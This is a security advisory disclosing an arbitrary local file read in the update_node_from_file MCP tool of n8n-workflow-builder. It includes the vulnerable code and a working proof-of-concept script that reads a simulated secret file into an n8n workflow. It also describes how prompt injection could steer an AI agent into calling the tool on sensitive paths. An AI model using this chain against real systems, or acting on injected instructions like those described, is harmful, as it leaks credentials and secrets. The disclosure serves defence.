Arbitrary Local Text File Read via update_node_from_file Persists File Content into n8n Workflow
Summary
The update_node_from_file MCP tool in makafeli/n8n-workflow-builder reads a caller-controlled local filesystem path and writes the file content into an n8n workflow node parameter.
The vulnerable tool is intended to help users load large parameter values such as SQL queries, scripts, or templates from local files. However, the filePath argument is not restricted to a trusted workspace, configured project directory, or user-approved path. Any MCP client that can call this tool can cause the MCP server process to read an arbitrary local text file accessible to that process.
The file content is then persisted into the target n8n workflow through the n8n API. In my local reproduction, the contents of /tmp/n8n_mcp_secret.txt were read by the MCP server, written into a Code node's jsCode parameter, persisted by a real local n8n instance, and then retrieved through the n8n workflow API.
Affected version
Reproduced against:
- Repository:
makafeli/n8n-workflow-builder
- Package version:
0.11.0
- MCP
serverInfo.name: n8n-workflow-builder
- MCP
serverInfo.version: 0.11.0
- Entry point tested:
build/server.cjs
- Tool tested:
update_node_from_file
- n8n version used for real-server validation:
2.21.7
Vulnerable code path
The vulnerable tool is registered as:
server.tool(
"update_node_from_file",
"Update a node parameter by reading value from a file (ideal for long SQL queries, scripts, templates)",
{
workflowId: z.string().describe("Workflow ID"),
nodeName: z.string().describe("Name of the node to update"),
parameterName: z.string().describe("Name of the parameter to update (e.g., 'query', 'jsCode', 'htmlTemplate')"),
filePath: z.string().describe("Path to file containing the parameter value")
},
async ({ workflowId, nodeName, parameterName, filePath }) => {
try {
// Read value from file
const fileContent = fs.readFileSync(filePath, 'utf-8');
// Fetch current workflow
const getResponse = await n8nApi.get(`/workflows/${workflowId}`);
const workflow = getResponse.data;
// Find the node
const nodeIndex = workflow.nodes.findIndex((n: any) => n.name === nodeName);
// Update the specific parameter
if (!workflow.nodes[nodeIndex].parameters) {
workflow.nodes[nodeIndex].parameters = {};
}
workflow.nodes[nodeIndex].parameters[parameterName] = fileContent;
// Save back
const response = await n8nApi.put(`/workflows/${workflowId}`, stripWorkflowForUpdate(workflow));
The vulnerable flow is:
MCP client controls filePath
↓
update_node_from_file receives filePath
↓
fs.readFileSync(filePath, 'utf-8') reads local file
↓
file content is assigned to workflow.nodes[nodeIndex].parameters[parameterName]
↓
n8nApi.put('/workflows/{workflowId}', ...) sends the modified workflow to n8n
↓
the file content is persisted in the n8n workflow
There is no workspace boundary check before reading the file. The tool accepts any path readable by the MCP server process.
Why this is security-relevant
This is a local file read issue in the MCP server.
In a typical MCP setup, the direct caller of the tool may be an MCP-aware agent or coding assistant rather than a human manually entering each argument. If the agent can be influenced through prompt injection or malicious project content, an attacker may be able to cause the tool to read sensitive local files and store their contents in an n8n workflow.
The impact depends on what files are readable by the MCP server process. This affects text-decodable files such as:
- local configuration files;
- plaintext application secrets;
- JSON credential files;
- source files containing embedded tokens;
- environment dumps written to disk;
- other local text files accessible to the MCP server process.
The content can then be retrieved from n8n through the workflow API or through existing workflow read/download functionality.
I am not claiming that this is an unauthenticated remote n8n vulnerability. The issue is that the MCP server exposes a tool that reads unrestricted caller-controlled local paths and persists the file contents into n8n.
PoC
The following PoC uses a real local n8n instance and demonstrates that file content read from the MCP server's local filesystem is persisted into an actual n8n workflow.
1. Start a real local n8n instance
In my test, n8n was running locally on port 5678:
Editor is now accessible via:
http://localhost:5678
The n8n version used in this reproduction was:
Create an n8n API key from the n8n UI and export it:
export N8N_HOST="http://127.0.0.1:5678/api/v1"
export N8N_API_KEY="<redacted-api-key>"
Verify that the API key works:
curl -sS "$N8N_HOST/workflows" \
-H "X-N8N-API-KEY: $N8N_API_KEY" | head -c 500
echo
Observed output:
{"data":[],"nextCursor":null}
2. Create a real n8n workflow
Create a workflow with one Code node:
curl -sS -X POST "$N8N_HOST/workflows" \
-H "X-N8N-API-KEY: $N8N_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"name": "mcp-file-read-poc",
"nodes": [
{
"id": "node1",
"name": "Code",
"type": "n8n-nodes-base.code",
"typeVersion": 2,
"position": [0, 0],
"parameters": {
"jsCode": "return [];"
}
}
],
"connections": {},
"settings": {}
}' | tee /tmp/n8n_created_workflow.json
Observed output included the following workflow ID:
Export it:
export WF_ID="t5bn95OdLl25Yorn"
3. Create a local file to simulate a secret
cat > /tmp/n8n_mcp_secret.txt <<'EOF'
N8N_MCP_LOCAL_SECRET_PROOF_123456
fake_api_key=sk-local-proof-value
EOF
cat /tmp/n8n_mcp_secret.txt
Observed output:
N8N_MCP_LOCAL_SECRET_PROOF_123456
fake_api_key=sk-local-proof-value
4. Run the MCP PoC
The vulnerable MCP server entry point is build/server.cjs.
cat > /tmp/n8n_mcp_real_n8n_poc.py <<'PY'
#!/usr/bin/env python3
import json
import os
import select
import subprocess
import time
SERVER_BIN = "/home/exouser/Desktop/mcp_50_starred_v3/makafeli__n8n-workflow-builder/build/server.cjs"
VICTIM_FILE = "/tmp/n8n_mcp_secret.txt"
WORKFLOW_ID = os.environ["WF_ID"]
def send(proc, msg):
proc.stdin.write((json.dumps(msg) + "\n").encode())
proc.stdin.flush()
def read_until_id(proc, wanted_id, timeout=20.0):
deadline = time.time() + timeout
while time.time() < deadline:
r, _, _ = select.select([proc.stdout], [], [], 0.3)
if not r:
continue
line = proc.stdout.readline()
if not line:
break
text = line.decode(errors="replace").strip()
print("[mcp-out]", text)
try:
obj = json.loads(text)
if obj.get("id") == wanted_id:
return obj
except Exception:
pass
return None
def main():
env = os.environ.copy()
env["N8N_HOST"] = "http://127.0.0.1:5678/api/v1"
env["N8N_API_KEY"] = os.environ["N8N_API_KEY"]
proc = subprocess.Popen(
["node", SERVER_BIN],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
bufsize=0,
)
send(proc, {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {
"name": "n8n-real-server-poc",
"version": "0.0.1"
}
}
})
read_until_id(proc, 1)
send(proc, {
"jsonrpc": "2.0",
"method": "notifications/initialized"
})
send(proc, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "update_node_from_file",
"arguments": {
"workflowId": WORKFLOW_ID,
"nodeName": "Code",
"parameterName": "jsCode",
"filePath": VICTIM_FILE
}
}
})
resp = read_until_id(proc, 2)
print("[poc] tool response:", json.dumps(resp, indent=2) if resp else None)
proc.terminate()
try:
proc.wait(timeout=3)
except subprocess.TimeoutExpired:
proc.kill()
if __name__ == "__main__":
main()
PY
chmod +x /tmp/n8n_mcp_real_n8n_poc.py
python3 /tmp/n8n_mcp_real_n8n_poc.py
Observed MCP response:
{
"result": {
"content": [
{
"type": "text",
"text": "{\n \"success\": true,\n \"message\": \"Node 'Code' parameter 'jsCode' updated from file\",\n \"workflowId\": \"t5bn95OdLl25Yorn\",\n \"nodeName\": \"Code\",\n \"parameterName\": \"jsCode\",\n \"filePath\": \"/tmp/n8n_mcp_secret.txt\",\n \"contentLength\": 68\n}"
}
]
},
"jsonrpc": "2.0",
"id": 2
}
This shows that the MCP server accepted the caller-controlled local path and read a 68-byte file from disk.
5. Verify that the file content was persisted in real n8n
Read the workflow back from the real n8n API:
curl -sS "$N8N_HOST/workflows/$WF_ID" \
-H "X-N8N-API-KEY: $N8N_API_KEY" \
| tee /tmp/n8n_after_update.json
Observed output included the local file content inside the Code node's jsCode parameter:
{
"id": "t5bn95OdLl25Yorn",
"name": "mcp-file-read-poc",
"nodes": [
{
"id": "node1",
"name": "Code",
"type": "n8n-nodes-base.code",
"typeVersion": 2,
"position": [0, 0],
"parameters": {
"jsCode": "N8N_MCP_LOCAL_SECRET_PROOF_123456\nfake_api_key=sk-local-proof-value\n"
}
}
],
"connections": {},
"settings": {}
}
Confirm with grep:
grep -n "N8N_MCP_LOCAL_SECRET_PROOF_123456\|fake_api_key" /tmp/n8n_after_update.json
Observed output:
1:{"updatedAt":"2026-05-25T02:11:08.009Z","createdAt":"2026-05-25T02:10:26.204Z","id":"t5bn95OdLl25Yorn","name":"mcp-file-read-poc","description":null,"active":false,"isArchived":false,"nodes":[{"id":"node1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[0,0],"parameters":{"jsCode":"N8N_MCP_LOCAL_SECRET_PROOF_123456\nfake_api_key=sk-local-proof-value\n"}}],"connections":{},"settings":{},"staticData":null,"meta":null,"pinData":null,"versionId":"34ae10bb-104e-404b-a123-55ba55fea089","activeVersionId":null,"versionCounter":2,"triggerCount":0,...}
This demonstrates the full chain:
caller-controlled filePath
↓
MCP server reads /tmp/n8n_mcp_secret.txt
↓
MCP server writes the file content into workflow.nodes[0].parameters.jsCode
↓
real n8n persists the modified workflow
↓
the file content can be retrieved through the n8n workflow API
Impact
Any MCP client that can call update_node_from_file can cause the MCP server process to read an arbitrary local text file accessible to that process and persist its contents into an n8n workflow.
The impact depends on the deployment and on what files are readable by the MCP server process. In realistic developer or automation environments, this may include plaintext secrets, JSON credential files, application configuration files, source code, or other sensitive local files.
This issue is especially relevant in MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence the assistant's tool use, a malicious prompt or project artifact may cause the assistant to call update_node_from_file with a sensitive local path.
Arbitrary Local Text File Read via
update_node_from_filePersists File Content into n8n WorkflowSummary
The
update_node_from_fileMCP tool inmakafeli/n8n-workflow-builderreads a caller-controlled local filesystem path and writes the file content into an n8n workflow node parameter.The vulnerable tool is intended to help users load large parameter values such as SQL queries, scripts, or templates from local files. However, the
filePathargument is not restricted to a trusted workspace, configured project directory, or user-approved path. Any MCP client that can call this tool can cause the MCP server process to read an arbitrary local text file accessible to that process.The file content is then persisted into the target n8n workflow through the n8n API. In my local reproduction, the contents of
/tmp/n8n_mcp_secret.txtwere read by the MCP server, written into a Code node'sjsCodeparameter, persisted by a real local n8n instance, and then retrieved through the n8n workflow API.Affected version
Reproduced against:
makafeli/n8n-workflow-builder0.11.0serverInfo.name:n8n-workflow-builderserverInfo.version:0.11.0build/server.cjsupdate_node_from_file2.21.7Vulnerable code path
The vulnerable tool is registered as:
The vulnerable flow is:
There is no workspace boundary check before reading the file. The tool accepts any path readable by the MCP server process.
Why this is security-relevant
This is a local file read issue in the MCP server.
In a typical MCP setup, the direct caller of the tool may be an MCP-aware agent or coding assistant rather than a human manually entering each argument. If the agent can be influenced through prompt injection or malicious project content, an attacker may be able to cause the tool to read sensitive local files and store their contents in an n8n workflow.
The impact depends on what files are readable by the MCP server process. This affects text-decodable files such as:
The content can then be retrieved from n8n through the workflow API or through existing workflow read/download functionality.
I am not claiming that this is an unauthenticated remote n8n vulnerability. The issue is that the MCP server exposes a tool that reads unrestricted caller-controlled local paths and persists the file contents into n8n.
PoC
The following PoC uses a real local n8n instance and demonstrates that file content read from the MCP server's local filesystem is persisted into an actual n8n workflow.
1. Start a real local n8n instance
In my test, n8n was running locally on port
5678:The n8n version used in this reproduction was:
Create an n8n API key from the n8n UI and export it:
Verify that the API key works:
Observed output:
{"data":[],"nextCursor":null}2. Create a real n8n workflow
Create a workflow with one Code node:
Observed output included the following workflow ID:
Export it:
3. Create a local file to simulate a secret
Observed output:
4. Run the MCP PoC
The vulnerable MCP server entry point is
build/server.cjs.Observed MCP response:
{ "result": { "content": [ { "type": "text", "text": "{\n \"success\": true,\n \"message\": \"Node 'Code' parameter 'jsCode' updated from file\",\n \"workflowId\": \"t5bn95OdLl25Yorn\",\n \"nodeName\": \"Code\",\n \"parameterName\": \"jsCode\",\n \"filePath\": \"/tmp/n8n_mcp_secret.txt\",\n \"contentLength\": 68\n}" } ] }, "jsonrpc": "2.0", "id": 2 }This shows that the MCP server accepted the caller-controlled local path and read a 68-byte file from disk.
5. Verify that the file content was persisted in real n8n
Read the workflow back from the real n8n API:
Observed output included the local file content inside the Code node's
jsCodeparameter:{ "id": "t5bn95OdLl25Yorn", "name": "mcp-file-read-poc", "nodes": [ { "id": "node1", "name": "Code", "type": "n8n-nodes-base.code", "typeVersion": 2, "position": [0, 0], "parameters": { "jsCode": "N8N_MCP_LOCAL_SECRET_PROOF_123456\nfake_api_key=sk-local-proof-value\n" } } ], "connections": {}, "settings": {} }Confirm with
grep:grep -n "N8N_MCP_LOCAL_SECRET_PROOF_123456\|fake_api_key" /tmp/n8n_after_update.jsonObserved output:
This demonstrates the full chain:
Impact
Any MCP client that can call
update_node_from_filecan cause the MCP server process to read an arbitrary local text file accessible to that process and persist its contents into an n8n workflow.The impact depends on the deployment and on what files are readable by the MCP server process. In realistic developer or automation environments, this may include plaintext secrets, JSON credential files, application configuration files, source code, or other sensitive local files.
This issue is especially relevant in MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence the assistant's tool use, a malicious prompt or project artifact may cause the assistant to call
update_node_from_filewith a sensitive local path.